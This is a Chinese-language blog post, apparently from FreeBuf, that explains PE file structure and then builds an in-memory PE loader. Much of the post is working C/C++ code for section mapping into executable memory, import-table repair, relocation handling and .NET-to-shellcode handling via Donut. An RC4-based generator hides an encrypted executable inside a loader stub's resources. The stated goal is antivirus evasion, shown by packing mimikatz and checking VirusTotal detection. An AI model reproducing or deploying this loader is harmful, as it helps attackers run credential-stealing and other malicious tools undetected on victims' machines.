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PE文件

PE文件简述

PE文件的全称是Portable Executable，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE文件，PE文件是微软Windows操作系统上的程序文件（可能是间接被执行，如DLL），这篇文章主要讲对EXE文件进行内存加载并运行的方法，代码实现，和完成一个GUI加载器工具的全过程。

文件结构

由上图可以

1. Dos Header

   是用来兼容MS-DOS操作系统的，目的是当这个文件在MS-DOS上运行时提示一段文字，大部分情况下是：This program cannot be run in DOS mode. 还有一个目的，就是指明NT头在文件中的位置。

2. NT Header

   包含windows PE文件的主要信息，其中包括一个‘PE’字样的签名，PE文件头（IMAGE_FILE_HEADER）和PE可选头（IMAGE_OPTIONAL_HEADER32）。

3. Section Table

   是PE文件后续节的描述，windows根据节表的描述加载每个节。

4. Section

   每个节实际上是一个容器，可以包含代码、数据等等，每个节可以有独立的内存权限，比如代码节默认有读/执行权限，节的名字和数量可以自己定义。

无论PE文件在磁盘中还是在内存中，都少不了地址的概念，理解以下几个概念很重要。

• 虚拟地址(Virtual Address)： 在一个程序运行起来的时候，会被加载到内存中，并且每个进程都有自己的4GB，这个4GB当中的某个位置叫做虚拟地址，由物理地址映射过来的，4GB的空间并没有全部被用到。
• 基地址(Image Base):磁盘中的文件加载到内存当中的时候可以加载到任意位置，而这个位置就是程序的基址。EXE默认的加载基址是400000h,DLL文件默认基址是10000000h。需要注意的是基地址不是程序的入口点。
• 相对虚拟地址(Relative Virtual Address):为了避免PE文件中有确定的内存地址，引入了相对虚拟地址的概念。RVA是在内存中相对与载入地址(基地址）的偏移量，所以你可以发现前三个概念的关系：虚拟地址 = 基地址 + 相对虚拟地址
• 文件偏移地址(FOA)：当PE文件储存在某个磁盘当中的时候，某个数据的位置相对于文件头的偏移量。
• 入口点(OEP)：首先明确一个概念就是OEP是一个相对虚拟地址(Relative Virtual Address)，然后使用OEP + Image Base ==入口点的虚拟地址(Virtual Address)，通常情况下，OEP指向的程序真实的入口点，而不是main函数。

执行流程

这里有大佬做的windows执行PE文件全流程图，下面是地址：

https://github.com/corkami/pics/blob/master/binary/pe101/pe101l.png

大概流程如下：

1. 加载PE文件：判断是否为PE文件，然后将要加载的文件读取到内存中，并且对齐。
2. 进行重定位：如果当前加载到内存当中的基址与Option Header的Image Base一样，即在理想基址中展开了，或重定位表data[5]的长度为0，则不需要重定位。重定位表的sizeOfBlock是加上块头部8字节的大小。重定位元素也很简单，以WORD为单位，但要注意高4位为0x3才有效，修复重定位表时要检查该位是否有效。
3. 构建导入表：通过偏移+内存基址，获取导入表第一个dll的数据，按照导入的dll逐个遍历，直到当前导入表的OriginalFirstThunk为0，即遍历完毕。

PE加载器

PE加载器，就是将一个PE文件映射到自己的内存，然后启动其main函数运行程序。一个PELoader的实现，需要有几个注意点：内存对齐，修复IAT表，修复重定位表，将内存属性改为可执行。

内存对齐

根据exe文件在加载到内存中对齐粒度进行对齐

LPVOID MapImageToMemory(LPVOID base_addr)
{

	LPVOID mem_image_base = NULL;
	PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;
	FuVirtualAlloc MyVirtualAlloc = (FuVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
	
	if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic)
	{
		return NULL;
	}
	
	PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);
	if (IMAGE_NT_SIGNATURE != nt_header->Signature)
	{
		return NULL;
	}
	
	if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
	{
		return NULL;
	}
	
	PIMAGE_SECTION_HEADER section_header = (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);
	
	mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	
	if (NULL == mem_image_base)
	{
		mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	}
	
	if (NULL == mem_image_base)
	{
		return NULL;
	}
	
	memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);
	
	for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++)
	{
		memcpy((LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), section_header->SizeOfRawData);
		section_header++;
	}
	return mem_image_base;
}
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修复IAT表

根据PE结构的导入表，加载所需的dll，并获取导入函数的地址并写入导入表中

VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
{
	DWORD op;
	DWORD iat_rva;
	SIZE_T iat_size;
	HMODULE import_base;
	PIMAGE_THUNK_DATA thunk;
	PIMAGE_THUNK_DATA fixup;
	PIMAGE_IMPORT_DESCRIPTOR import_table = (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (UINT_PTR)dos_header);

	DWORD iat_loc = (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? IMAGE_DIRECTORY_ENTRY_IAT : IMAGE_DIRECTORY_ENTRY_IMPORT;
	
	iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;
	iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;
	
	LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);
	
	FuVirtualProtect myVirtualProtect = (FuVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect");
	FuLoadLibraryA myLoadLibraryA = (FuLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");
	
	myVirtualProtect(iat, iat_size, PAGE_READWRITE, &op);
	
	while (import_table->Name)
	{
		import_base = myLoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));
		fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
		if (import_table->OriginalFirstThunk)
		{
			thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);
		}
		else
		{
			thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
		}
		while (thunk->u1.Function)
		{
			PCHAR func_name;
			if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
			{
				fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
			}
			else
			{
				func_name = (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);
				fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name);
			}
			fixup++;
			thunk++;
		}
		import_table++;
	}
	return;

}
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修复重定位表

直接申请当前exe的ImageBase地址，如果加载到内存当中的基址与Option Header的Image Base一样，就相当于在理想基址中展开，不需要修复重定位表。但是这种方法一般用于x64的程序，因为x86程序的Image Base较低，被占用导致无法正常执行的几率很高。

mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (NULL == mem_image_base)
{
	mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
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判断C#程序

可以通过DataDirectory的第15项，IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR中VirtualAddress是否为空，来判断是否为C#程序，如果是C#程序，程序使用了Donut项目将C#程序转换为shellcode，Donut是一个shellcode生成工具，它可以从.NET程序集中创建与位置无关的shellcode payloads。此shellcode可用于将程序集注入任意Windows进程。给定一个任意.NET程序集，参数和入口点（如Program.Main），Donut就可为我们生成一个与位置无关的shellcode，并从内存加载它。项目地址如下：

https://github.com/TheWover/donut

判断是否为PE程序，并且判断程序位数以及是否为C#程序：

int CMFCLoaderDlg::checkBit(TCHAR* filePath,int& BIT,int& TYPE)
{
	IMAGE_DOS_HEADER myDosHeader;
	IMAGE_NT_HEADERS myNTHeader;
	IMAGE_NT_HEADERS64 myNTHeader64;

	LONG e_lfanew;
	errno_t err;
	FILE* pfile = NULL;
	
	if ((err = _wfopen_s(&pfile, filePath, L"rb")) != 0)
	{
		MessageBox(_T("File open error!"), NULL, MB_ICONERROR);
		return 0;
	}
	fread(&myDosHeader, 1, sizeof(IMAGE_DOS_HEADER), pfile);
	if (myDosHeader.e_magic != 0x5A4D)
	{
		MessageBox(_T("Not a PE file!"), NULL, MB_ICONERROR);
		fclose(pfile);
		return 0;
	}
	e_lfanew = myDosHeader.e_lfanew;
	fseek(pfile, e_lfanew, SEEK_SET);
	fread(&myNTHeader, 1, sizeof(IMAGE_NT_HEADERS), pfile);
	switch (myNTHeader.FileHeader.Machine)
	{
		case 0x014c:
		{
			BIT = 32;
			if (myNTHeader.OptionalHeader.DataDirectory[0x0e].VirtualAddress)
			{
				TYPE = 1;
			}
			break;
		}
	
		case 0x8664:
		{
			BIT = 64;
			fseek(pfile, e_lfanew, SEEK_SET);
			fread(&myNTHeader64, 1, sizeof(IMAGE_NT_HEADERS64), pfile);
			
			if (myNTHeader64.OptionalHeader.DataDirectory[0x0e].VirtualAddress)
			{
				TYPE = 1;
			}
			break;
		}
		default:
			break;
	}


	return 0;

}
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程序加密

使用了R.C.4加密算法，将要加载的PE文件加密并存放在资源段中，这种方法其实免杀效果并不好，接下来可以考虑其他将Loader和payload分离的其他方法。

int commanMake(TCHAR* filePath, TCHAR* outfilePath, int BIT)
{
	TCHAR* DATfilename;
	if (BIT == 32)
	{
		DATfilename = L"x32PEloader.DAT";
	}
	else if (BIT == 64)
	{
		DATfilename = L"x64PEloader.DAT";
	}
	else
	{
		return 0;
	}

	HANDLE hPE = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hPE == INVALID_HANDLE_VALUE)
	{
		wprintf(L"[!]  Unable to Open FIle %s\n", filePath);
		CloseHandle(hPE);
		return 0;
	}
	unsigned char* key = GeneratePassword(128);
	
	int peSize = GetFileSize(hPE, NULL);
	PBYTE shellcode = (PBYTE)malloc(peSize + StreamKeyLenth);
	if (shellcode == NULL)
	{
		return 0;
	}
	memcpy(shellcode, key, StreamKeyLenth);
	DWORD lpNumberOfBytesRead;
	PWCHAR fileName = outfilePath;
	int ret = ReadFile(hPE, shellcode + StreamKeyLenth, peSize, &lpNumberOfBytesRead, NULL);
	if (ret == 0)
	{
		return 0;
	}
	StreamCrypt(shellcode + StreamKeyLenth, peSize, key, StreamKeyLenth);
	
	if (CopyFile(DATfilename, fileName, FALSE) == 0)
	{
		wprintf(L"[!]  Unable to Open FIle PEloader.DAT\n");
		return 0;
	}
	
	HANDLE  hResource = BeginUpdateResource(fileName, FALSE);
	
	if (NULL != hResource)
	{
		if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(404), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, peSize + sizeof(key)) != FALSE)
		{
			EndUpdateResource(hResource, FALSE);
			wprintf(L"[+]  Successfully generated %s\n", fileName);
		}
	}
	free(shellcode);
	CloseHandle(hPE);
	return 1;

}
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成品效果

对x64的mimikatz进行加载器生成，功能正常。

上传VT结果，免杀效果还凑活，需要继续改进。稍后相关代码及工具上传至知识星球。

参考文章和项目

https://blog.csdn.net/kclax/article/details/93727011

https://bbs.pediy.com/thread-249133.htm

https://github.com/TheWover/donut

https://www.cnblogs.com/onetrainee/p/12938085.html

来源：freebuf.com

作者：宽字节

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